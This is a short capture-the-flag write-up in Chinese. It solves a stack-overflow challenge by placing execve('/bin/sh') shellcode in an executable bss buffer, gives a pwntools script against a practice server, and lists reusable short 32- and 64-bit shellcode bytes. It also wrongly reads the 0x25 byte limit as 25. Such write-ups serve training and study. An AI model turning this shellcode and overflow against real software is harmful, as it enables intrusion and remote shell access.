int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[10]; // [rsp+6h] [rbp-Ah] BYREF
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
setbuf(stdout, 0LL);
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
puts("Please.");
read(0, &name, 0x25uLL);
puts("Nice to meet you.");
puts("Let's start!");
read(0, buf, 0x40uLL);
return 0;
}
name 位于 bss 段,所以我们就想到了可以在 read(name)这边写入我们的 shellcode。但 是,这里,在主函数中我们可以看到这里对于读入的字节数进行了限制,最大读入数是 25 字节。而我们使用 shellcraft 默认生成的字节数是 44 字节的,显然不符合我们的要求。 然后随便找一个小于 25 字节的 shellcode 【顺便积累一下常见的短字节 shellcode: 32 位
短字节 shellcode -> 21 字节 \x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80
64 位 较短的 shellcode 23 字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f \x05
from pwn import *
p=remote('node4.anna.nssctf.cn',28107)
name_addr=0x6010A0
payload=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"
p.sendlineafter(b"Please.",payload)
payload=b'a'*18+p64(name_addr)
p.sendlineafter(b"Let's start!",payload)
p.interactive()